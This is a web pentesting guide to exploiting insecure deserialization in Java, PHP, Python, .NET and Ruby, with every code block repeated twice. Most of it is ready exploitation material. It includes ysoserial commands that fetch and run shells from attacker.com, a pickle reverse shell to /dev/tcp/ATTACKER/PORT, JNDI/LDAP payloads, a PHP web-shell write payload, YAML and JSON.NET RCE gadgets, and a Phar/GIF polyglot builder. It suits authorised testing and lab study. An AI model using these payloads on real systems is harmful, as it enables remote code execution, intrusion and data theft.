Insecure Deserialization
Insecure deserialization occurs when untrusted data is used to abuse the logic of an application, inflict denial of service, or execute arbitrary code. This guide covers exploitation techniques for Java, PHP, Python, .NET, and Ruby applications.
Why Deserialization Matters
Deserialization vulnerabilities often lead to Remote Code Execution (RCE) with minimal interaction. Attackers can craft malicious serialized objects that execute code upon deserialization. These vulnerabilities are particularly dangerous because exploitation is often reliable and repeatable.
Danger
Tools & Resources
Understanding Deserialization
Serialization converts objects into a format for storage or transmission. Deserialization reconstructs objects from this data. When applications deserialize untrusted data without validation, attackers can inject malicious objects.
Serialization Formats by Language
| Language | Format Signature | Functions |
|---|---|---|
| Java | AC ED 00 05 (hex) or rO0 (base64) | ObjectInputStream.readObject() |
| PHP | O:4:"User":2:{...} | unserialize() |
| Python | cos\n, c__builtin__ | pickle.loads(), yaml.load() |
| .NET | AAEAAAD (base64) or XML format | BinaryFormatter, XmlSerializer |
| Ruby | \x04\x08 (Marshal) | Marshal.load(), YAML.load() |
Detection
Identifying Serialized Data
signatures.txt plaintext # Java serialized object signatures
# Hex: AC ED 00 05
# Base64: rO0AB (starts with)
# URL encoded: %AC%ED%00%05
# PHP serialized object
# O:4:"User":2:{s:4:"name";s:4:"John";s:3:"age";i:25;}
# a:2:{i:0;s:5:"hello";i:1;s:5:"world";}
# Python pickle
# Starts with: (protocol 4)
# Or contains: cos
, c__builtin__
# .NET BinaryFormatter
# Base64: AAEAAAD/////
# XML: <SOAP-ENV:Envelope> or ObjectDataProvider
# Ruby Marshal
# Starts with:
# Java serialized object signatures
# Hex: AC ED 00 05
# Base64: rO0AB (starts with)
# URL encoded: %AC%ED%00%05
# PHP serialized object
# O:4:"User":2:{s:4:"name";s:4:"John";s:3:"age";i:25;}
# a:2:{i:0;s:5:"hello";i:1;s:5:"world";}
# Python pickle
# Starts with: (protocol 4)
# Or contains: cos
, c__builtin__
# .NET BinaryFormatter
# Base64: AAEAAAD/////
# XML: <SOAP-ENV:Envelope> or ObjectDataProvider
# Ruby Marshal
# Starts with:
Common Locations
locations.txt plaintext # Check these locations for serialized data:
- Cookies (especially ViewState in .NET)
- Hidden form fields
- Session tokens
- API request/response bodies
- WebSocket messages
- Custom HTTP headers
- File upload contents
- Database-stored objects
- Message queue data
- Cache entries
# Check these locations for serialized data:
- Cookies (especially ViewState in .NET)
- Hidden form fields
- Session tokens
- API request/response bodies
- WebSocket messages
- Custom HTTP headers
- File upload contents
- Database-stored objects
- Message queue data
- Cache entries
Java Deserialization
Java deserialization is one of the most common and dangerous vulnerability classes.
The gadget chain concept allows attackers to abuse existing classes to achieve RCE.
Using ysoserial
ysoserial-usage.sh bash # List available gadget chains
java -jar ysoserial.jar
# Generate payload for specific chain
java -jar ysoserial.jar CommonsCollections1 "id" > payload.ser
# Common gadget chains:
java -jar ysoserial.jar CommonsCollections1 "curl attacker.com/shell.sh|bash"
java -jar ysoserial.jar CommonsCollections2 "wget attacker.com/shell -O /tmp/shell"
java -jar ysoserial.jar CommonsCollections3 "ping -c1 attacker.com"
java -jar ysoserial.jar CommonsCollections4 "nslookup attacker.com"
java -jar ysoserial.jar CommonsCollections5 "id"
java -jar ysoserial.jar CommonsCollections6 "whoami"
java -jar ysoserial.jar CommonsCollections7 "cat /etc/passwd"
java -jar ysoserial.jar Jdk7u21 "calc.exe"
java -jar ysoserial.jar Spring1 "touch /tmp/pwned"
# Base64 encode for transmission
java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0
# List available gadget chains
java -jar ysoserial.jar
# Generate payload for specific chain
java -jar ysoserial.jar CommonsCollections1 "id" > payload.ser
# Common gadget chains:
java -jar ysoserial.jar CommonsCollections1 "curl attacker.com/shell.sh|bash"
java -jar ysoserial.jar CommonsCollections2 "wget attacker.com/shell -O /tmp/shell"
java -jar ysoserial.jar CommonsCollections3 "ping -c1 attacker.com"
java -jar ysoserial.jar CommonsCollections4 "nslookup attacker.com"
java -jar ysoserial.jar CommonsCollections5 "id"
java -jar ysoserial.jar CommonsCollections6 "whoami"
java -jar ysoserial.jar CommonsCollections7 "cat /etc/passwd"
java -jar ysoserial.jar Jdk7u21 "calc.exe"
java -jar ysoserial.jar Spring1 "touch /tmp/pwned"
# Base64 encode for transmission
java -jar ysoserial.jar CommonsCollections1 "id" | base64 -w0
Detecting Vulnerable Libraries
java-detection.sh bash # Check for vulnerable Apache Commons Collections
# Versions < 3.2.2 are vulnerable
# Java Deserialization Scanner (Burp)
# Automatically tests multiple gadget chains
# Manual detection via DNS callback
java -jar ysoserial.jar URLDNS "http://detect.attacker.com"
# If DNS callback received, deserialization occurs
# Then test with RCE payloads
# Check for vulnerable Apache Commons Collections
# Versions < 3.2.2 are vulnerable
# Java Deserialization Scanner (Burp)
# Automatically tests multiple gadget chains
# Manual detection via DNS callback
java -jar ysoserial.jar URLDNS "http://detect.attacker.com"
# If DNS callback received, deserialization occurs
# Then test with RCE payloads
JNDI Injection (Log4j style)
jndi-injection.sh bash # JNDI/LDAP injection for Java RCE
# Works when JNDI lookups reach attacker-controlled server
# Start malicious LDAP server with marshalsec
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit"
# Payload triggers JNDI lookup
${jndi:ldap://attacker.com:1389/Exploit}
${jndi:rmi://attacker.com:1099/Exploit}
# Host compiled exploit class
# Exploit.java
public class Exploit {
static {
try {
Runtime.getRuntime().exec("id");
} catch (Exception e) {}
}
}
# JNDI/LDAP injection for Java RCE
# Works when JNDI lookups reach attacker-controlled server
# Start malicious LDAP server with marshalsec
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit"
# Payload triggers JNDI lookup
${jndi:ldap://attacker.com:1389/Exploit}
${jndi:rmi://attacker.com:1099/Exploit}
# Host compiled exploit class
# Exploit.java
public class Exploit {
static {
try {
Runtime.getRuntime().exec("id");
} catch (Exception e) {}
}
}
PHP Deserialization
Magic Methods
php-magic-methods.php php # PHP magic methods called during deserialization:
__wakeup() # Called when object is unserialized
__destruct() # Called when object is destroyed
__toString() # Called when object is converted to string
__call() # Called when inaccessible method is called
__get() # Called when reading inaccessible property
__set() # Called when writing inaccessible property
# Example vulnerable class
class FileHandler {
public $filename;
public $content;
public function __destruct() {
file_put_contents($this->filename, $this->content);
}
}
# Exploit payload
O:11:"FileHandler":2:{s:8:"filename";s:14:"/tmp/shell.php";s:7:"content";s:29:"<?php system($_GET['cmd']); ?>";}
# PHP magic methods called during deserialization:
__wakeup() # Called when object is unserialized
__destruct() # Called when object is destroyed
__toString() # Called when object is converted to string
__call() # Called when inaccessible method is called
__get() # Called when reading inaccessible property
__set() # Called when writing inaccessible property
# Example vulnerable class
class FileHandler {
public $filename;
public $content;
public function __destruct() {
file_put_contents($this->filename, $this->content);
}
}
# Exploit payload
O:11:"FileHandler":2:{s:8:"filename";s:14:"/tmp/shell.php";s:7:"content";s:29:"<?php system($_GET['cmd']); ?>";}
Using PHPGGC
phpggc-usage.sh bash # List available gadget chains
./phpggc -l
# Generate payload for specific framework
./phpggc Laravel/RCE1 system id
./phpggc Symfony/RCE4 exec "id"
./phpggc Monolog/RCE1 exec "whoami"
./phpggc Guzzle/RCE1 exec "cat /etc/passwd"
./phpggc Doctrine/RCE1 exec "ls"
./phpggc Magento/SQLI "select * from admin_user"
# With wrapper for phar
./phpggc -p phar -o exploit.phar Laravel/RCE1 system id
# Base64 encoded
./phpggc -b Laravel/RCE1 system id
# URL encoded
./phpggc -u Laravel/RCE1 system id
# List available gadget chains
./phpggc -l
# Generate payload for specific framework
./phpggc Laravel/RCE1 system id
./phpggc Symfony/RCE4 exec "id"
./phpggc Monolog/RCE1 exec "whoami"
./phpggc Guzzle/RCE1 exec "cat /etc/passwd"
./phpggc Doctrine/RCE1 exec "ls"
./phpggc Magento/SQLI "select * from admin_user"
# With wrapper for phar
./phpggc -p phar -o exploit.phar Laravel/RCE1 system id
# Base64 encoded
./phpggc -b Laravel/RCE1 system id
# URL encoded
./phpggc -u Laravel/RCE1 system id
Phar Deserialization
phar-deserialization.sh bash # Phar archives can trigger deserialization via file operations
# file_exists(), is_dir(), file_get_contents(), include(), etc.
# Generate phar with malicious metadata
./phpggc -p phar -o exploit.phar Monolog/RCE1 exec id
# Trigger via phar:// wrapper
?file=phar://uploads/exploit.jpg/test.txt
# Works even with "safe" file operations:
file_exists("phar://uploads/evil.phar/test");
is_dir("phar://uploads/evil.phar/test");
filesize("phar://uploads/evil.phar/test");
# Bypass extension checks by renaming .phar to .jpg/.gif
# The phar:// wrapper ignores extensions
# Phar archives can trigger deserialization via file operations
# file_exists(), is_dir(), file_get_contents(), include(), etc.
# Generate phar with malicious metadata
./phpggc -p phar -o exploit.phar Monolog/RCE1 exec id
# Trigger via phar:// wrapper
?file=phar://uploads/exploit.jpg/test.txt
# Works even with "safe" file operations:
file_exists("phar://uploads/evil.phar/test");
is_dir("phar://uploads/evil.phar/test");
filesize("phar://uploads/evil.phar/test");
# Bypass extension checks by renaming .phar to .jpg/.gif
# The phar:// wrapper ignores extensions
Python Deserialization
Pickle Exploitation
pickle-rce.py python import pickle
import base64
import os
class RCE:
def __reduce__(self):
return (os.system, ('id',))
# Generate payload
payload = pickle.dumps(RCE())
print(base64.b64encode(payload).decode())
# Alternative using __reduce_ex__
class RCE2:
def __reduce_ex__(self, protocol):
import subprocess
return (subprocess.check_output, (['id'],))
# Reverse shell payload
class ReverseShell:
def __reduce__(self):
import socket,subprocess,os
return (os.system, ('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"',))
import pickle
import base64
import os
class RCE:
def __reduce__(self):
return (os.system, ('id',))
# Generate payload
payload = pickle.dumps(RCE())
print(base64.b64encode(payload).decode())
# Alternative using __reduce_ex__
class RCE2:
def __reduce_ex__(self, protocol):
import subprocess
return (subprocess.check_output, (['id'],))
# Reverse shell payload
class ReverseShell:
def __reduce__(self):
import socket,subprocess,os
return (os.system, ('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"',))
YAML Deserialization
yaml-rce.yaml yaml # PyYAML unsafe load (yaml.load without Loader)
# Or yaml.unsafe_load, yaml.full_load
# RCE payload
!!python/object/apply:os.system ["id"]
# Alternative payloads
!!python/object/apply:subprocess.check_output [["id"]]
!!python/object/apply:os.popen ["id"]
# Complex payload with module import
!!python/object/new:str
args: []
state: !!python/tuple
- "import os; os.system('id')"
- !!python/object/apply:exec []
# PyYAML unsafe load (yaml.load without Loader)
# Or yaml.unsafe_load, yaml.full_load
# RCE payload
!!python/object/apply:os.system ["id"]
# Alternative payloads
!!python/object/apply:subprocess.check_output [["id"]]
!!python/object/apply:os.popen ["id"]
# Complex payload with module import
!!python/object/new:str
args: []
state: !!python/tuple
- "import os; os.system('id')"
- !!python/object/apply:exec []
.NET Deserialization
ViewState Exploitation
dotnet-ysoserial.ps1 powershell # ViewState is a common .NET deserialization target
# Check for __VIEWSTATE parameter in forms
# If MAC validation is disabled or key is known:
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "id" | base64
# Common ysoserial.net gadgets
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe"
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "cmd.exe /c whoami"
ysoserial.exe -g PSObject -f BinaryFormatter -c "powershell -e [base64]"
# For LosFormatter (ViewState)
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "calc.exe"
# For ObjectStateFormatter
ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c "calc.exe"
# ViewState is a common .NET deserialization target
# Check for __VIEWSTATE parameter in forms
# If MAC validation is disabled or key is known:
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "id" | base64
# Common ysoserial.net gadgets
ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "calc.exe"
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "cmd.exe /c whoami"
ysoserial.exe -g PSObject -f BinaryFormatter -c "powershell -e [base64]"
# For LosFormatter (ViewState)
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "calc.exe"
# For ObjectStateFormatter
ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c "calc.exe"
JSON.NET Exploitation
jsonnet-payload.json json // JSON.NET with TypeNameHandling enabled
// TypeNameHandling.All, TypeNameHandling.Objects, TypeNameHandling.Auto
// Malicious JSON payload
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList",
"$values": ["cmd.exe", "/c calc.exe"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System"
}
}
// File read payload
{
"$type": "System.IO.FileInfo, System.IO.FileSystem",
"fileName": "C:\\windows\\win.ini"
}
// JSON.NET with TypeNameHandling enabled
// TypeNameHandling.All, TypeNameHandling.Objects, TypeNameHandling.Auto
// Malicious JSON payload
{
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList",
"$values": ["cmd.exe", "/c calc.exe"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System"
}
}
// File read payload
{
"$type": "System.IO.FileInfo, System.IO.FileSystem",
"fileName": "C:\\windows\\win.ini"
}
Ruby Deserialization
ruby-deserialization.rb ruby # Ruby Marshal.load is dangerous with untrusted data
# YAML.load in older versions also vulnerable
# Universal RCE gadget (Ruby >= 2.0)
require 'erb'
class Exploit
def initialize
@src = "<%= system('id') %>"
@filename = "exploit.erb"
end
end
erb_payload = ERB.allocate
erb_payload.instance_variable_set(:@src, "<%= system('id') %>")
erb_payload.instance_variable_set(:@filename, "x")
payload = Marshal.dump(erb_payload)
puts payload.inspect
# YAML RCE (older Ruby versions)
--- !ruby/object:Gem::Installer
i: x
--- !ruby/object:Gem::SpecFetcher
i: y
--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve
# Ruby Marshal.load is dangerous with untrusted data
# YAML.load in older versions also vulnerable
# Universal RCE gadget (Ruby >= 2.0)
require 'erb'
class Exploit
def initialize
@src = "<%= system('id') %>"
@filename = "exploit.erb"
end
end
erb_payload = ERB.allocate
erb_payload.instance_variable_set(:@src, "<%= system('id') %>")
erb_payload.instance_variable_set(:@filename, "x")
payload = Marshal.dump(erb_payload)
puts payload.inspect
# YAML RCE (older Ruby versions)
--- !ruby/object:Gem::Installer
i: x
--- !ruby/object:Gem::SpecFetcher
i: y
--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve
Testing Checklist
🔍 Detection
- ○ Look for serialization signatures in traffic
- ○ Check cookies, POST data, hidden fields
- ○ Identify ViewState in .NET apps
- ○ Test API endpoints for object injection
- ○ Check file upload for deserialization
🎯 Identification
- ○ Determine language/framework used
- ○ Identify serialization library version
- ○ Test with URLDNS for Java (safe canary)
- ○ Check for error messages revealing info
- ○ Identify available gadget chains
💥 Exploitation
- ○ Generate payloads with ysoserial/PHPGGC
- ○ Test multiple gadget chains
- ○ Use time delays for blind testing
- ○ Try DNS/HTTP callbacks for confirmation
- ○ Escalate to reverse shell
📝 Documentation
- ○ Record exact payload used
- ○ Document gadget chain and library version
- ○ Screenshot command execution proof
- ○ Note impact (RCE, file read, etc.)
- ○ Include remediation steps
Practice Labs
🎓 PortSwigger Deserialization Comprehensive deserialization labs 🎯 TryHackMe Rooms Various deserialization challenges 🔬 PentesterLab Object injection exercises 📚 PayloadsAllTheThings Deserialization payload reference 🔬 Advanced Deserialization Deep Dive
.NET ObjectStateFormatter & ViewState Exploitation
ASP.NET WebForms uses ObjectStateFormatter to serialize ViewState. When MAC validation is disabled or the key is known, this is a direct RCE vector:
bash # Identify ViewState in responses — look for __VIEWSTATE hidden field
# Base64-decode it; if it starts with /w (0xFF) it's unencrypted
# Check if ViewState MAC is disabled (vulnerable to direct exploitation)
# Indicators: no __VIEWSTATEGENERATOR, short ViewState length, error-based detection
# Generate .NET deserialization payload with ysoserial.net
ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell -enc BASE64_PAYLOAD"
# ViewState exploitation when machineKey is known (leaked from web.config, LFI)
# The machineKey has validationKey and decryptionKey
python3 viewgen.py --webconfig web.config -m "cat /etc/passwd" -e "PAYLOAD"
# For .NET framework < 4.5 with MAC disabled:
# Simply forge the ViewState with malicious ObjectStateFormatter payload
ysoserial.exe -g TextFormattingRunProperties -f LosFormatter -c "cmd /c whoami"
# JSON.NET ($type gadgets) — if TypeNameHandling != None
# Inject $type property to instantiate arbitrary .NET types:
# {"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework",
# "MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList",
# "$values":["cmd","/c calc"]},
# "ObjectInstance":{"$type":"System.Diagnostics.Process, System"}}
# Identify ViewState in responses — look for __VIEWSTATE hidden field
# Base64-decode it; if it starts with /w (0xFF) it's unencrypted
# Check if ViewState MAC is disabled (vulnerable to direct exploitation)
# Indicators: no __VIEWSTATEGENERATOR, short ViewState length, error-based detection
# Generate .NET deserialization payload with ysoserial.net
ysoserial.exe -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell -enc BASE64_PAYLOAD"
# ViewState exploitation when machineKey is known (leaked from web.config, LFI)
# The machineKey has validationKey and decryptionKey
python3 viewgen.py --webconfig web.config -m "cat /etc/passwd" -e "PAYLOAD"
# For .NET framework < 4.5 with MAC disabled:
# Simply forge the ViewState with malicious ObjectStateFormatter payload
ysoserial.exe -g TextFormattingRunProperties -f LosFormatter -c "cmd /c whoami"
# JSON.NET ($type gadgets) — if TypeNameHandling != None
# Inject $type property to instantiate arbitrary .NET types:
# {"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework",
# "MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList",
# "$values":["cmd","/c calc"]},
# "ObjectInstance":{"$type":"System.Diagnostics.Process, System"}}
Advanced Python Pickle Exploitation
Beyond basic __reduce__, Python pickle supports complex multi-step exploitation chains:
python # Advanced pickle chain — multi-step command execution
import pickle, os, base64
class MultiStageExploit:
"""Chain multiple operations in a single pickle payload"""
def __reduce__(self):
# Use eval to execute complex Python code
return (eval, (
"(__import__('os').system('id > /tmp/proof.txt'), "
"__import__('subprocess').check_output(['cat','/etc/passwd']))",
))
# Pickle protocol differences affect detection
# Protocol 0: human-readable, easily detected by WAFs
# Protocol 2: binary, harder to detect
# Protocol 4: Python 3.4+, most compact
for proto in range(5):
payload = pickle.dumps(MultiStageExploit(), protocol=proto)
print(f"Protocol {proto}: {len(payload)} bytes - {base64.b64encode(payload)[:50]}")
# Bypassing restricted unpickler (safe_loads)
# Some apps use RestrictedUnpickler that only allows certain modules
# Test if these can be chained:
class BypassRestriction:
def __reduce__(self):
# Use builtins which are often allowed
return (getattr, (
__import__('builtins'), '__import__'
))
# Fickling — automated pickle analysis and exploitation
# pip install fickling
# fickling --check suspicious.pkl # Analyze pickle safety
# fickling --inject "os.system('id')" clean.pkl > evil.pkl # Inject payload
# Real-world pickle targets:
# - Redis sessions (if using pickle serializer)
# - Django sessions (PickleSerializer — default before Django 1.6)
# - ML model files (.pkl, .joblib, .h5 with custom objects)
# - Celery task arguments (if pickle serializer enabled)
# - Flask-Caching (PickleSerializer)
# Advanced pickle chain — multi-step command execution
import pickle, os, base64
class MultiStageExploit:
"""Chain multiple operations in a single pickle payload"""
def __reduce__(self):
# Use eval to execute complex Python code
return (eval, (
"(__import__('os').system('id > /tmp/proof.txt'), "
"__import__('subprocess').check_output(['cat','/etc/passwd']))",
))
# Pickle protocol differences affect detection
# Protocol 0: human-readable, easily detected by WAFs
# Protocol 2: binary, harder to detect
# Protocol 4: Python 3.4+, most compact
for proto in range(5):
payload = pickle.dumps(MultiStageExploit(), protocol=proto)
print(f"Protocol {proto}: {len(payload)} bytes - {base64.b64encode(payload)[:50]}")
# Bypassing restricted unpickler (safe_loads)
# Some apps use RestrictedUnpickler that only allows certain modules
# Test if these can be chained:
class BypassRestriction:
def __reduce__(self):
# Use builtins which are often allowed
return (getattr, (
__import__('builtins'), '__import__'
))
# Fickling — automated pickle analysis and exploitation
# pip install fickling
# fickling --check suspicious.pkl # Analyze pickle safety
# fickling --inject "os.system('id')" clean.pkl > evil.pkl # Inject payload
# Real-world pickle targets:
# - Redis sessions (if using pickle serializer)
# - Django sessions (PickleSerializer — default before Django 1.6)
# - ML model files (.pkl, .joblib, .h5 with custom objects)
# - Celery task arguments (if pickle serializer enabled)
# - Flask-Caching (PickleSerializer)
PHP Gadget Chains & POP Construction
PHP Property-Oriented Programming (POP) chains abuse magic methods across multiple classes to achieve code execution:
bash # PHPGGC — PHP Generic Gadget Chains
# List available chains for a framework:
phpggc -l # List all chains
phpggc -l WordPress # WordPress-specific chains
phpggc -l Laravel # Laravel chains
# Generate payloads for common frameworks:
# Laravel (RCE via Monolog)
phpggc Laravel/RCE1 system id
# WordPress (RCE via Guzzle)
phpggc WordPress/RCE1 system "cat /etc/passwd"
# Drupal (file write)
phpggc Drupal/RCE1 system whoami
# Phar deserialization — trigger unserialize via filesystem functions
# ANY filesystem function that accepts phar:// triggers deserialization:
# file_exists(), is_dir(), fopen(), file_get_contents(), include(), stat()
# Even image functions: getimagesize("phar://uploaded.jpg/test")
# Create a Phar polyglot (valid JPEG + valid Phar):
php -r '
$phar = new Phar("exploit.phar");
$phar->startBuffering();
$object = new INSERT_GADGET_CLASS(); // Your POP chain start class
$phar->setMetadata($object);
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); // GIF header for image bypass
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
// Rename to .gif/.jpg for upload
rename("exploit.phar", "exploit.gif");
'
# Finding custom gadget chains (when PHPGGC doesn't have one):
# 1. Map all classes with __destruct() or __wakeup() methods
# 2. Trace property access chains from those methods
# 3. Look for: __toString → file operations, __call → command execution
# grep -rn "__destruct|__wakeup|__toString|__call" /var/www/vendor/
# PHPGGC — PHP Generic Gadget Chains
# List available chains for a framework:
phpggc -l # List all chains
phpggc -l WordPress # WordPress-specific chains
phpggc -l Laravel # Laravel chains
# Generate payloads for common frameworks:
# Laravel (RCE via Monolog)
phpggc Laravel/RCE1 system id
# WordPress (RCE via Guzzle)
phpggc WordPress/RCE1 system "cat /etc/passwd"
# Drupal (file write)
phpggc Drupal/RCE1 system whoami
# Phar deserialization — trigger unserialize via filesystem functions
# ANY filesystem function that accepts phar:// triggers deserialization:
# file_exists(), is_dir(), fopen(), file_get_contents(), include(), stat()
# Even image functions: getimagesize("phar://uploaded.jpg/test")
# Create a Phar polyglot (valid JPEG + valid Phar):
php -r '
$phar = new Phar("exploit.phar");
$phar->startBuffering();
$object = new INSERT_GADGET_CLASS(); // Your POP chain start class
$phar->setMetadata($object);
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); // GIF header for image bypass
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
// Rename to .gif/.jpg for upload
rename("exploit.phar", "exploit.gif");
'
# Finding custom gadget chains (when PHPGGC doesn't have one):
# 1. Map all classes with __destruct() or __wakeup() methods
# 2. Trace property access chains from those methods
# 3. Look for: __toString → file operations, __call → command execution
# grep -rn "__destruct|__wakeup|__toString|__call" /var/www/vendor/
Evidence Collection
RCE Proof: Serialized payload (generated via ysoserial/PHPGGC/pickle) and response or callback proving command execution (OOB DNS, HTTP callback, command output)
Object Type Identification: Error messages revealing the class name, gadget chain, or serialization format (Java ObjectInputStream, PHP unserialize, .NET BinaryFormatter)
Gadget Chain: Document the exact gadget chain used (e.g., CommonsCollections1, Hibernate1) and the library/version that makes it exploitable
Traffic Capture: Burp showing the serialized blob in cookies, hidden fields, API parameters, or message queues where user-controlled deserialization occurs
CVSS Range: Denial of service: 5.3–7.5 | Object injection (PHP): 7.5–8.6 | RCE via gadget chain: 9.1–10.0 (Critical)
False Positive Identification
- Serialized data ≠ vulnerability: Finding base64-encoded serialized objects in cookies or parameters is suspicious, but it's only exploitable if the deserialization is unsafe AND a usable gadget chain exists in the classpath.
- No matching gadget chain: ysoserial may not have a chain matching the target's libraries — a failed exploit doesn't mean the app is safe. Check the classpath for alternative gadgets or custom chains.
- Signed serialized data: If the serialized object has an HMAC or signature that's validated before deserialization, exploitation requires the signing key — check for key leaks or weak keys.
- JSON deserialization: Standard JSON.parse() or json.loads() is generally safe. The risk is with type-aware deserializers (Jackson with polymorphic typing, Newtonsoft with TypeNameHandling) that instantiate arbitrary classes.